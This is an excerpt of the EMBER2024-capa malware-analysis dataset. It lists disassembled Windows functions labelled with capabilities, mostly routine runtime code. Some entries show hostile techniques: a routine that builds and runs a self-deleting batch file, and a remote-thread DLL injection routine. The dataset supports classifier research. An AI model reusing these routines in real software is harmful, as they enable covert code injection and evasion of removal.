joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14010cd70
Capabilities:
Create process on windows
Self delete

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov r8d, 0x104
lea rdx, [rbp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x30]
call fcn.1400091b0
nop
lea rdx, str.:Repeat
lea rcx, [rsp + 0x30]
call fcn.14000ddd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14000d070
movzx edx, al
mov rcx, rbx
call fcn.14000fad0
mov rcx, rbx
call fcn.14000f9e0
lea rdx, str.del__
lea rcx, [rsp + 0x30]
call fcn.14000ddd0
mov rcx, rax
lea rdx, [rbp + 0x80]
call fcn.14000ddd0
mov rcx, rax
lea rdx, [0x140142c8c]
call fcn.14000ddd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14000d070
movzx edx, al
mov rcx, rbx
call fcn.14000fad0
mov rcx, rbx
call fcn.14000f9e0
lea rdx, str.if_exist__
lea rcx, [rsp + 0x30]
call fcn.14000ddd0
mov rcx, rax
lea rdx, [rbp + 0x80]
call fcn.14000ddd0
mov rcx, rax
lea rdx, str.__goto_Repeat
call fcn.14000ddd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14000d070
movzx edx, al
mov rcx, rbx
call fcn.14000fad0
mov rcx, rbx
call fcn.14000f9e0
lea rdx, str.del___f0_
lea rcx, [rsp + 0x30]
call fcn.14000ddd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.14000d070
movzx edx, al
mov rcx, rbx
call fcn.14000fad0
mov rcx, rbx
call fcn.14000f9e0
lea rcx, [rsp + 0x38]
call fcn.14000b170
test rax, rax
jne 0x14010cf01
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rsp + rcx + 0x78], 0
cmovne eax, edx
or eax, dword [rsp + rcx + 0x40]
and eax, 0x17
mov dword [rsp + rcx + 0x40], eax
and eax, dword [rsp + rcx + 0x44]
jne 0x14010cfa5
xor eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.delete_self.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2c], edx
lea rcx, [rsp + 0x38]
call fcn.140008d20
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x30], rax
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x2c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x28]
call fcn.140015e80
nop
mov al, 1
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x290
pop rbp
ret
test al, 4
je 0x14010cfb2
lea rbx, str.ios_base::badbit_set
jmp 0x14010cfc6
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x40]
call fcn.1400021e0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.140004040
lea rdx, [0x1401576b8]
lea rcx, [rbp + 0x50]
call fcn.14005ae40
int3
Function at 0x180011186
Capabilities:
Create thread

Disassembly:
jmp 0x1800117f0
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x30]
lea rcx, [0x1800210fd]
call fcn.1800112fd
mov eax, dword [rbp + 0xf8]
mov dword [rbp + 0xc0], eax
cmp dword [rbp + 0xc0], 1
je 0x18001182f
jmp 0x18001186a
mov rcx, qword [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x18001125d]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
lea rsp, [rbp + 0xd8]
pop rdi
pop rbp
ret

Function at 0x1800111b3
Capabilities:
Terminate process

Disassembly:
jmp 0x180015090
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140004378
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400043c2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400043c2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400043c2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400043c2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400043c2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400043c4
xor al, al
add rsp, 0x28
ret
Function at 0x140065e10
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
mov ecx, dword [0x140157770]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
and rax, 0xfffffffffffffffc
je 0x140065e4e
mov rcx, qword [rsi]
shl rcx, 4
test rdi, rdi
je 0x140065e47
call fcn.140065ce0
jmp 0x140065e2e

Function at 0x140065f60
Capabilities:
Reference processor manufacturer constants

Disassembly:
push rsi
push rdi
mov r8, rcx
xor edi, edi
xor ecx, ecx
xor eax, eax
xchg rbx, r9
cpuid
xchg rbx, r9
test eax, eax
jle 0x140066082
mov r10d, eax
xor ecx, ecx
mov eax, 1
xchg rbx, r9
cpuid
xchg rbx, r9
mov r9d, ecx
mov r11d, edx
mov esi, eax
cmp r10d, 7
jb 0x1400660b8
mov eax, 7
xor ecx, ecx
xchg rbx, rdi
cpuid
xchg rbx, rdi
mov r10d, ecx
and edi, 0x20
shr r10b, 4
and r10b, 1
mov dword [r8], esi
mov eax, esi
and eax, 0xf
mov dword [r8 + 8], eax
shr esi, 0xc
and esi, 3
mov dword [r8 + 4], esi
mov eax, r11d
shr eax, 0x17
and al, 1
mov byte [r8 + 0xc], al
mov eax, r11d
shr eax, 0x19
and al, 1
mov byte [r8 + 0xd], al
shr r11d, 0x1a
and r11b, 1
mov byte [r8 + 0xe], r11b
mov eax, r9d
and al, 1
mov byte [r8 + 0xf], al
mov eax, r9d
shr eax, 9
and al, 1
mov byte [r8 + 0x10], al
mov eax, r9d
shr eax, 0x13
and al, 1
mov byte [r8 + 0x11], al
mov eax, r9d
shr eax, 0x14
and al, 1
mov byte [r8 + 0x12], al
mov eax, r9d
shr eax, 0x17
and al, 1
mov byte [r8 + 0x13], al
mov eax, r9d
shr eax, 0x1f
mov byte [r8 + 0x1a], al
mov eax, r9d
not eax
test eax, 0x1c000000
jne 0x1400660c0
xor ecx, ecx
xgetbv
not eax
test al, 6
sete al
mov byte [r8 + 0x14], al
mov ecx, r9d
shr ecx, 0x19
and cl, 1
mov byte [r8 + 0x17], cl
shr r9d, 0xc
and r9b, 1
mov byte [r8 + 0x15], r9b
test al, al
setne al
test edi, edi
setne cl
and cl, al
mov byte [r8 + 0x16], cl
mov byte [r8 + 0x18], r10b
xor ecx, ecx
mov eax, 0x80000000
xchg rbx, r9
cpuid
xchg rbx, r9
cmp eax, 0x80000006
jle 0x1400660c4
mov eax, 0x80000007
xor ecx, ecx
xchg rbx, r9
cpuid
xchg rbx, r9
shr edx, 8
and dl, 1
mov byte [r8 + 0x19], dl
test dl, dl
je 0x1400660ca
pop rdi
pop rsi
ret
xor r10d, r10d
jmp 0x140065fbc
xor eax, eax
jmp 0x140066051
mov dl, byte [r8 + 0x19]
jmp 0x1400660b1
cmp byte [r8 + 0x1a], 0
je 0x1400660b5
mov eax, 0x40000000
xor ecx, ecx
xchg rbx, r9
cpuid
xchg rbx, r9
cmp r9d, 0x7263694d
jne 0x1400660b5
cmp ecx, 0x666f736f
jne 0x1400660b5
cmp edx, 0x76482074
jne 0x1400660b5
mov byte [r8 + 0x19], 1
jmp 0x1400660b5

Function at 0x140068580
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x140068595
mov dword [rsi], eax
cmp eax, 0xffffffff
setne al
add rsp, 0x20
pop rsi
ret

Function at 0x1400685e0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test rdx, rdx
je 0x14006861c
mov rsi, rdx
mov rdi, rcx
mov r14d, 0xffffffff
cmp rsi, r14
mov ebx, 0xffffffff
cmovb rbx, rsi
mov rcx, rdi
mov edx, ebx
call sub.ADVAPI32.dll_SystemFunction036
test al, al
je 0x140068626
add rdi, rbx
sub rsi, rbx
jne 0x1400685fa
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
Function at 0x140001660
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x240
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
mov qword [rdx], 0
xor ecx, ecx
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r8d, eax
lea rdx, str.Size___d
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x20]
call fcn.140001710
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x1400016e7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x1400016e7
mov qword [rdi], rax
mov eax, 1
jmp 0x1400016e9
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400022d0
mov rbx, qword [rsp + 0x260]
add rsp, 0x240
pop rdi
ret

Function at 0x140001710
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x480
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov rdi, rcx
mov dword [rsp + 0x50], 0
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8d, 0x400
call fcn.140003260
mov rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp word [rdi + rax*2], 0
jne 0x140001756
cmp rax, 0x190
ja 0x14000180d
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rsp + 0x64]
movzx edx, word [rsp + 0x62]
movzx eax, word [rsp + 0x66]
movzx r10d, word [rsp + 0x60]
movzx r11d, word [rsp + 0x5e]
movzx r9d, word [rsp + 0x5a]
movzx r8d, word [rsp + 0x58]
mov qword [rsp + 0x48], rdi
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x30], edx
lea rdx, [0x14001ae30]
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], r11d
call qword [sym.imp.USER32.dll_wsprintfW]
lea rax, [rsp + 0x70]
cmp word [rax + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x1400017d0
mov rcx, qword [0x14001dc08]
lea r8d, [rbx + rbx]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [0x14001dc08]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1400022d0
mov rbx, qword [rsp + 0x498]
add rsp, 0x480
pop rdi
ret
Function at 0x14000679c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400065c8
Function at 0x140011357
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140014c90
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [0x140024018]
xor rax, rbp
mov qword [rbp + 0x248], rax
lea rcx, [0x14002a0cc]
call fcn.14001164a
mov r8d, dword [rbp + 0x278]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
mov r8d, 0x104
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.1400114d8
mov rdx, qword [rbp + 0x270]
lea rcx, [rbp + 0x30]
call fcn.140011299
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x104
lea r8, [rbp + 0x30]
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x158]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x178], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rcx, [rbp - 0x40]
lea rdx, [0x140020390]
call fcn.140011546
mov rcx, qword [rbp + 0x248]
xor rcx, rbp
call fcn.14001131b
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret

Function at 0x14001138e
Capabilities:
Terminate process

Disassembly:
jmp 0x140018430
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001147e
Capabilities:
Parse pe header

Disassembly:
jmp 0x140019860
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019880
xor al, al
jmp 0x140019901
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019893
xor al, al
jmp 0x140019901
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400198bd
xor al, al
jmp 0x140019901
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400198d1
xor al, al
jmp 0x140019901
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400198e3
xor al, al
jmp 0x140019901
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400198ff
xor al, al
jmp 0x140019901
mov al, 1
add rsp, 0x38
ret
Function at 0x401060
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
sub rsp, 0xa8
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8d, 0x94
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x4010a5
mov eax, 0xff
jmp 0x4012ff
mov dword [rax], 0x94
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4010d6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xff
jmp 0x4012ff
mov eax, dword [rbx + 0x10]
mov dword [0x00409c3c], eax
mov eax, dword [rbx + 4]
mov dword [0x00409c48], eax
mov eax, dword [rbx + 8]
mov dword [0x00409c4c], eax
mov eax, dword [rbx + 0xc]
and eax, 0x7fff
mov dword [0x00409c40], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x00409c3c], 2
je 0x401124
bts dword [0x00409c40], 0xf
mov eax, dword [0x00409c48]
shl eax, 8
add eax, dword [0x00409c4c]
mov dword [0x00409c44], eax
cmp word [0x00400000], 0x5a4d
je 0x401159
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
lea rdi, [0x00400000]
jmp 0x4011e7
movsxd rax, dword [0x0040003c]
lea rdi, [0x00400000]
add rax, rdi
cmp dword [rax], 0x4550
je 0x40117d
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x4011e7
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x4011c4
cmp ecx, 0x20b
je 0x40119c
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x4011e7
cmp dword [rax + 0x84], 0xe
ja 0x4011b0
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x4011e7
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0xb0], ebx
jmp 0x4011e7
cmp dword [rax + 0x74], 0xe
ja 0x4011d5
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x4011e7
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0xb0], ebx
mov ecx, 1
call fcn.00402c80
test eax, eax
jne 0x401217
cmp dword [0x00409c30], 1
jne 0x401203
call fcn.004017e0
mov ecx, 0x1c
call fcn.004015b0
mov ecx, 0xff
call fcn.00401340
call fcn.00402b00
test eax, eax
jne 0x401243
cmp dword [0x00409c30], 1
jne 0x40122e
call fcn.004017e0
mov ecx, 0x10
call fcn.004015b0
mov ecx, 0xff
call fcn.00401340
nop
call fcn.00402510
test eax, eax
jns 0x401256
mov ecx, 0x1b
call fcn.00401030
call fcn.004023f0
mov qword [0x0040b028], rax
call fcn.004021d0
mov qword [0x00409c28], rax
call fcn.00401f80
test eax, eax
jns 0x401281
mov ecx, 8
call fcn.00401030
call fcn.00401c50
test eax, eax
jns 0x401294
mov ecx, 9
call fcn.00401030
call fcn.004013d0
test eax, eax
je 0x4012a4
mov ecx, eax
call fcn.00401030
call fcn.00401bf0
test byte [rsp + 0x6c], 1
je 0x4012b8
movzx r9d, word [rsp + 0x70]
jmp 0x4012be
mov r9d, 0xa
mov r8, rax
xor edx, edx
mov rcx, rdi
call fcn.00401000
mov edi, eax
mov dword [rsp + 0x20], eax
test ebx, ebx
jne 0x4012dc
mov ecx, eax
call fcn.00401570
call fcn.00401590
jmp 0x4012fd
mov eax, edi
mov rbx, qword [rsp + 0xc0]
mov rdi, qword [rsp + 0xc8]
add rsp, 0xa8
ret
Function at 0x4015b0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x40], r12
lea r12, [0x00409010]
mov rax, r12
xor ebx, ebx
nop
nop
cmp ecx, dword [rax]
je 0x4015df
inc ebx
add rax, 0x10
cmp ebx, 0x13
jb 0x4015d0
cmp ebx, 0x13
je 0x4017c9
mov eax, dword [0x00409c30]
mov qword [rsp + 0x68], rdi
cmp eax, 1
je 0x40177e
test eax, eax
jne 0x40160d
cmp dword [0x00409008], 1
je 0x40177e
cmp ecx, 0xfc
je 0x4017c4
mov qword [rsp + 0x58], rbp
lea rbp, [0x00409cb0]
mov qword [rsp + 0x60], rsi
lea rsi, [0x00400000]
lea rdx, [0x00409cca]
mov r8d, 0x104
mov rax, qword [rsi + 0x6618]
xor ecx, ecx
mov qword [rbp], rax
mov rax, qword [rsi + 0x6620]
mov qword [rbp + 8], rax
mov rax, qword [rsi + 0x6628]
mov qword [rbp + 0x10], rax
movzx eax, word [rsi + 0x6630]
mov word [rbp + 0x18], ax
mov byte [0x00409dce], 0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4016c0
mov rax, qword [rsi + 0x6600]
mov qword [rsi + 0x9cca], rax
mov rax, qword [rsi + 0x6608]
mov qword [rsi + 0x9cd2], rax
mov eax, dword [rsi + 0x6610]
mov dword [rsi + 0x9cda], eax
movzx eax, word [rsi + 0x6614]
mov word [rsi + 0x9cde], ax
movzx eax, byte [rsi + 0x6616]
mov byte [rsi + 0x9ce0], al
mov rsi, qword [rsp + 0x60]
xor eax, eax
lea rdi, [0x00409cca]
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
cmp rcx, 0x3c
jbe 0x4016f5
lea rcx, [rcx + rbp - 0x22]
lea r8d, [rax + 3]
lea rdx, [0x004065fc]
call fcn.00403170
xor eax, eax
mov rdi, rbp
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x004065f8]
movsxd rdx, ebx
mov word [rdi - 1], ax
movzx eax, byte [0x004065fa]
add rdx, rdx
mov r8, qword [r12 + rdx*8 + 8]
mov byte [rdi + 1], al
xor eax, eax
mov rdi, rbp
mov rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor edx, edx
nop
nop
nop
nop
movzx eax, byte [r8 + rdx]
inc rdx
test al, al
mov byte [rdi + rdx - 2], al
jne 0x401740
lea rdx, str.Microsoft_Visual_C_Runtime_Library
mov r8d, 0x12010
mov rcx, rbp
call fcn.00402fc0
mov rbp, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x68]
mov r12, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x50]
add rsp, 0x48
ret
mov ecx, 0xfffffff4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
test rax, rax
mov r11, rax
je 0x4017c4
xor eax, eax
movsxd rcx, ebx
lea r9, [rsp + 0x30]
add rcx, rcx
mov qword [rsp + 0x20], rax
mov rdx, qword [r12 + rcx*8 + 8]
mov rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rdi, qword [rsp + 0x68]
mov r12, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x50]
add rsp, 0x48
ret
Function at 0x402fc0
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x70], rsi
xor esi, esi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x50], r12
cmp qword [0x0040a440], rsi
mov ebx, r8d
mov rbp, rdx
mov r12, rcx
jne 0x4030a6
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rdi, rax
je 0x403096
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov qword [0x0040a440], rax
je 0x403096
lea rdx, str.GetActiveWindow
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.GetLastActivePopup
mov rcx, rdi
mov qword [0x0040a448], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [0x00409c3c], 2
mov qword [0x0040a450], rax
jne 0x40309d
lea rdx, str.GetUserObjectInformationA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov qword [0x0040a460], rax
je 0x40309d
lea rdx, str.GetProcessWindowStation
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x0040a458], rax
jmp 0x4030ad
xor eax, eax
jmp 0x403137
mov rax, qword [0x0040a458]
jmp 0x4030ad
mov rax, qword [0x0040a458]
test rax, rax
je 0x4030fb
call rax
test rax, rax
je 0x4030e6
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call qword [0x0040a460]
test eax, eax
je 0x4030e6
test byte [rsp + 0x40], 1
jne 0x4030fb
cmp dword [0x00409c48], 4
jb 0x4030f5
bts ebx, 0x15
jmp 0x403125
bts ebx, 0x12
jmp 0x403125
mov rax, qword [0x0040a448]
test rax, rax
je 0x403125
call rax
test rax, rax
mov rsi, rax
je 0x403125
mov rdx, qword [0x0040a450]
test rdx, rdx
je 0x403125
mov rcx, rax
call rdx
mov rsi, rax
mov r9d, ebx
mov r8, rbp
mov rdx, r12
mov rcx, rsi
call qword [0x0040a440]
mov r12, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
add rsp, 0x58
ret
Function at 0x405330
Capabilities:
Get system information on windows

Disassembly:
push rbp
sub rsp, 0xb0
lea rbp, [rsp + 0x20]
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], r12
mov qword [rbp + 0x88], r13
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x78], r15
mov rax, qword [0x00409c18]
mov qword [rbp + 0x68], rax
mov eax, dword [rsp]
sub rsp, 0x10
lea rdx, [rbp + 8]
mov eax, dword [rsp + 0x20]
lea r12, [rsp + 0x20]
mov r8d, 0x30
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40548e
mov r14, qword [rbp + 0x10]
lea rcx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [0x00409c3c]
mov edi, dword [rbp + 0x3c]
xor ebx, ebx
cmp ecx, 2
jne 0x405404
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x4053fe
lea rdx, str.SetThreadStackGuarantee
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x4053fe
lea rcx, [rbp]
mov dword [rbp], ebx
call rax
cmp eax, 1
jne 0x4053fe
mov eax, dword [rbp]
test eax, eax
cmovne ebx, eax
mov ecx, dword [0x00409c3c]
mov r15d, 1
lea r8d, [rdi - 1]
lea edx, [rbx + rdi - 1]
cmp ecx, r15d
mov eax, r8d
mov esi, 0x104
not eax
cmove esi, r15d
and edx, eax
je 0x405429
add edx, edi
lea eax, [rdi + rdi*2]
mov ebx, r8d
cmp edx, eax
not rbx
cmovb edx, eax
and rbx, r12
mov eax, 0x11
mov r13d, edx
sub rbx, r13
cmp ecx, r15d
cmove edi, eax
mov eax, edi
add rax, r14
cmp rbx, rax
jb 0x40548e
mov r9d, 4
mov r8d, 0x1000
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x40548e
lea r9, [rbp + 4]
mov r8d, esi
mov rdx, r13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40548e
mov eax, r15d
jmp 0x405490
xor eax, eax
mov rcx, qword [rbp + 0x68]
call fcn.00405c00
mov rbx, qword [rbp + 0xa0]
mov rsi, qword [rbp + 0xa8]
mov rdi, qword [rbp + 0xb0]
mov r12, qword [rbp + 0xb8]
mov r13, qword [rbp + 0x88]
mov r14, qword [rbp + 0x80]
mov r15, qword [rbp + 0x78]
lea rsp, [rbp + 0x90]
